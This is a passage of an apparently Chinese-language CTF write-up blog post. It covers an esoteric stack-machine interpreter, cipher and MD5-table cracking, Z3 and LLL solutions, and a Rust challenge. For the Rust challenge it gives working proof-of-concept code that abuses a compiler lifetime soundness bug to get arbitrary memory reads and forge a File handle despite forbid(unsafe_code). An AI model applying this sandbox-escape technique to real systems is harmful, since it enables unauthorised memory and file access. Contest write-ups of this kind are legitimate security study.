y13: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y14: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y15: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
z = 10 到 14 全是和上面一样空的,这里删掉了
z = 15
y0: jx+ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jy+
y1: ___ jx+ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jy+ ___
y2: ___ ___ jx+ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jy+ ___ ___
y3: ___ ___ ___ jx+ ___ ___ ___ ___ ___ ___ ___ ___ jy+ ___ ___ ___
y4: ___ ___ ___ ___ jx+ ___ ___ ___ ___ ___ ___ jy+ ___ ___ ___ ___
y5: ___ ___ ___ ___ ___ jx+ ___ ___ ___ ___ jy+ ___ ___ ___ ___ ___
y6: ___ ___ ___ ___ ___ ___ jx+ ___ ___ jy+ ___ ___ ___ ___ ___ ___
y7: ___ ___ ___ ___ ___ ___ ___ jx+ hlt ___ ___ ___ ___ ___ ___ ___
y8: ___ ___ ___ ___ ___ ___ ___ jy- ___ jx- ___ ___ ___ ___ ___ ___
y9: ___ ___ ___ ___ ___ ___ jy- ___ ___ ___ jx- ___ ___ ___ ___ ___
y10: ___ ___ ___ ___ ___ jy- ___ ___ ___ ___ ___ jx- ___ ___ ___ ___
y11: ___ ___ ___ ___ jy- ___ ___ ___ ___ ___ ___ ___ jx- ___ ___ ___
y12: ___ ___ ___ jy- ___ ___ ___ ___ ___ ___ ___ ___ ___ jx- ___ ___
y13: ___ ___ jy- ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jx- ___
y14: ___ jy- ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jx-
y15: jy- ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
解释器执行这个程序:
from sys import argv
fd = open("flat.txt", "rt")
instream = fd.read().splitlines()
fd.close()
ram = [0] * 64
stack = [0] * 32
sp = 0
ram[0] = 0x24
ram[1] = 0x39
ram[2] = 0x25
ram[3] = 0x2e
onum = 0
outs = []
for ins in instream:
addr = ins[: ins.index(":")]
mne = ins[ins.index(":")+2:]
if mne[0] == "I":
sp += 1
stack[sp] = int(mne[1:])
elif mne == "and":
val = stack[sp-1] & stack[sp]
sp -= 1
stack[sp] = val
elif mne == "dup":
stack[sp+1] = stack[sp]
sp += 1
elif mne == "hlt":
# this is at the end
break
elif mne == "inc":
stack[sp] += 1
elif mne == "mld":
off = stack[sp]
val = ram[off]
stack[sp] = val
print(f"Readed {off} = {val}")
elif mne == "mst":
off = stack[sp]
val = stack[sp-1]
sp -= 2
ram[off] = val
elif mne == "out":
out = stack[sp]
sp -= 1
#print(f"Output[{onum}]: {hex(out)} {out}")
outs.append(out)
onum += 1
elif mne == "swp":
stack[sp-1], stack[sp] = \
stack[sp], stack[sp-1]
elif mne == "xor":
val = stack[sp-1] ^ stack[sp]
sp -= 1
stack[sp] = val
print("fin")
"""
should ouput
25 38 49 33 25 ..
"""
import string, base64
b64 = string.ascii_uppercase + string.ascii_lowercase + string.digits + "+/"
enc = "".join(b64[i] for i in outs)
print(base64.b64decode(enc))
分析程序易得出是从内存中取一些数进行 xor 输出,故手动枚举 ram[0:4]
初始值,直到输出 25 38 49 33 ...
再运行程序就能得到 flag 了,Simulate the earth with a cube64 cluster 确实很浪漫呢
Rust 众原友说
看 rust-lang/rust 的 issues 确实有不少 unsound 问题,但能用的不多,甚至还有的本地、playground 能通,题目不通的。
这个“高校战疫”有一个 rust 生存期 bug 导致 unsafe,甚至直接手把手教你怎么任意读:
https://miaotony.xyz/2020/03/15/CTF_2020XCTF_gxzy/gxzy-WP.pdf (关键词 rustpad)
用他一模一样的方法创建一个重合的 Vec 和 (usize, usize, usize) 随便读一个离谱的位置让程序崩溃,就能拿到 flag1
flag2 要求读取已经打开的文件,我们知道这个 fd 的值就是 3,但是操作一个 RawFd 是 unsafe 的,因此用不了
考虑直接复制一个和 main 里相同的文件进行读取。因为创建不了未初始化的 File,所以用一个 Option<&File> 指针指一下
然后是最大的问题,上面那个 PoC 拿不到 &mut ‘static 的引用(怎么说呢,使用 mut static 变量也是 unsafe)
我的方法是用 RefCell 可以更改内容的特性,把 None<&File> 改成伪造的 File,再直接读取
本地跑不通,因为他会 seek 调用,导致 seccomp 终止掉,但是远程版本可以跑通
#![forbid(unsafe_code)]
#![allow(dead_code)]
use std::boxed::Box;
use std::cell::RefCell;
use std::fs::File;
use std::io::Read;
static UNIT: &'static &'static () = &&();
fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T { v }
fn bad<'a, T>(x: &'a T) -> &'static T {
let f: fn(_, &'a T) -> &'static T = foo;
f(UNIT, x)
}
fn helper() -> &'static Vec<u64> {
let x = Box::new(Vec::new());
bad(&*x)
}
fn write_helper() -> &'static Vec<Option< &'static RefCell<u64> >> {
let x = Box::new(Vec::new());
bad(&*x)
}
fn addr<T>(t: &T) {
println!("{:x}", t as *const _ as u64);
}
// see/return value at pointer
/*
unsafe fn peek<T>(t: &T) -> u64 {
let addr = t as *const _ as u64;
if addr < 0x10_0000u64 {
println!("{:x}: cannot deref", addr);
return 0;
}
let val = unsafe { *(t as *const _ as *const u64) };
println!("{:x} => {:x}", addr, val);
return val;
}
*/
pub fn run() {
// assume file descriptor is 3
let mut storage: [u64; 4] = [3, 0, 0, 0];
let mut fake: [Option<&mut File>; 4] = [None, None, None, None];
//print!("addr a: "); addr(&a[1]);
//print!("before a:"); unsafe { peek(&*( (&a[1] as *const _ as u64 - 8) as *const u64 )); }
let r = helper();
let x = write_helper();
let mut y = Box::new((0u64, 4u64, 4u64));
print!("addr y: "); addr(&y.0);
print!("addr r: "); addr(r);
print!("addr x: "); addr(x);
let rc: [u64; 4] = [&fake[0] as *const _ as u64, 0, 0, 0];
y.0 = &rc[0] as *const _ as u64;
let option = x[0];
if let Some(rc) = option {
println!("got {:x}", *rc.borrow());
*rc.borrow_mut() = &storage[0] as *const _ as u64;
println!("got {:x}", *rc.borrow());
}
if let Some(file) = &mut fake[1] {
println!("success");
let mut b: Vec<u8> = Vec::new();
file.read_to_end(&mut b).expect("fail");
println!("{}", std::str::from_utf8(&b).unwrap());
}
}
这个被称作 Polydivisible number,有现成的 python 代码可以全部算出来,数量还是挺多的
从大往小了代入这种数字的的值到程序中验证是不是 flag
萓ッ髟ソ豎�
与佛论禅,AES 加密将结果的字节编码成汉字。题中的 UTF-8 字符被解读为 shift_jis,再重新编码回 UTF-8
flag1 由于码量不是很多,虽然是有损的,可以写诸如尝试添加两个字、三个字的函数,再转换对比,能完全还原原文
flag2 就很谔谔了,我手动还原了一些,10 次 encode 和前三个字都确定了,实在不想做了
开头一眼 Cryptography is a,通过 4 位数字年份和 159 15.9 数字可以锁定文本来源:
因为已经有大量原文,有一个最简单不用动脑的方法,统计文本里面同一个字母重复两次的地方,比如 leTTer coMMunication diFFerent 之类还是很多的,这些密文能告诉我们密钥置换的规律
可以得出 21 个已知的映射,其中 d 映射到它自己,再查看原文发现 v 也映射到自己
u, j 互相映射,还剩下 e, f 和 f, m 没有确定,由于 f 不映射到自己,只能 f -> m, e -> f,这样密钥确定了,解密原文
其中有一个 NATO 字母表拼写的 flag
flag2 搜索连续的数字发现是 md5,md5 正好 32 位
制作全 ascii 的 md5(其中 a-f 全部替换掉)查表,只能解密一部分,根据已经解密的内容推测,有多个字母被映射到一个 md5 里
再制作两个字符的表进行解密,虽然没解完,但是能解出 flag
第一个是正定方程,解一下再 round -> chr -> join 得到 flag
第二个少 10 个变量,已知 flag{}
还缺少 4 个变量
from decimal import *
getcontext().prec=15
L = 28
S = Solver()
p = primes[:L]
for i in range(L-10):
s = 0.0
for j in range(L):
s += float(Decimal(p[j]).sqrt() * 10 ** 10) * ff[j]
S.add(s == o2[i])
p = [p[-1]] + p[:-1]
def fix(i, c):
global S
S.add(ff[i] == float(ord(c)))
fix(0, "f")
fix(1, "l")
fix(2, "a")
fix(3, "g")
fix(4, "{")
fix(5, "y")
fix(6, "0")
fix(7, "u")
fix(8, "_")
fix(L-1,"}")
for i in range(1, L-1):
S.add(ff[i] < ord("}")-0.5)
S.add(ff[i] > ord("0")-0.5)
S.check()
通过乱搞舍入以及调整变量范围可以稍微看出来 flag 的形状,比如括号里面第 4 和 8 位是 _,补上缺少的限制就能得出 flag
flag3 LLL 求整数关系就行
primes=[2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271]
sout = "25800.359843622375482317741765092423108740749704076506674391637220601256480076793833725266596491145653469234638681214279142266384627498702292519864562549230222347690184575651985867669548991937988156542"
from decimal import Decimal, getcontext
getcontext().prec = int(200)
sint = int(sout.replace(".", ""))
decimal_places = len(sout) - 6
big = 10^decimal_places
def problem(l):
B = []
for i in range(l):
v = [0] * (l+1)
v[i] = 1
v[-1] = int( Decimal(int(primes[i])).sqrt() * int(big) )
B.append(v)
B.append([0] * l + [sint])
L = matrix(B).LLL()
s = L[0][:-1]
if all(abs(x) < 256 for x in s):
print("found:", s)
for l in range(1,40):
problem(l)
flag1 用 go 写一个暴力求解的,生成 clickbutton(x,y)
序列输入到开发者工具控制台里面点亮所有安全的
归根到底还是 cli 交互,剩下的两个没看,鸽了
Newer: Real World CTF 5th writeup
Older: USTC Hackergame 2022 writeup